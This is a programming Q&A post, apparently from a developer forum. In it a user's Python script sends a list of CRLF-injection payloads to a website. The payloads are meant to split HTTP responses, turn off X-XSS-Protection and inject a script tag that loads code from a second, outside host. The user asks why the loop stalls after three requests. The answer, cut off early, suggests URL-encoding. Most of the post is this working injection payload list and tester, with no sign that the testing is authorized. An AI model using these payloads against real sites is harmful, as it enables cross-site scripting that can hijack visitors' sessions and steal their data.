Requests not sending in Python3

Question

I have an array with some of the requests I want to send. Basically the requests I am sending is the website + directory (in this case: arrays element). For example: http://randomwebsite.com/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2Fhttp://anotherwebsite.com%3E%0d%0a0%0d%0a/%2e%2e

My code:

import requests

site="http://randomwebsite.com"
tcp_server = "http://anotherwebsite.com"
list_of_requests = [
    "/%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%0d%0a0%0d%0a/%2e%2e",
    "/%0a0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3D" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%23%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25%30%61X-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25%30aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%250aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%25250aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2e%2e%2f%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2f%2e%2e%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%2F..%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%3f%Od%OaX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%3f%OdX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E",
    "/%u000aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%20src%3Dhttp%3A%2F%2F" + tcp_server + "%3E%3C%2Fscript%3E"]

for payload in list_of_requests:
    ...
    [some code here]
    ...
    if str(payload) in requests.get(site + payload).text:
        print("Request valid")
    else:
        print("Request not valid")

My output is this:

Request not valid
Request not valid
Request not valid

And then the program stops after sending these 3 requests and it stays like that forever. I don't understand why I doesn't continue sending requests.

Answer 1

That is because the URLs aren't properly encoded.

Try to encode them using urllib.parse like this:

import requests
import urllib.parse

site="http://randomwebsite.com"
tcp_server = urllib.parse.quote("anotherwebsite.com")
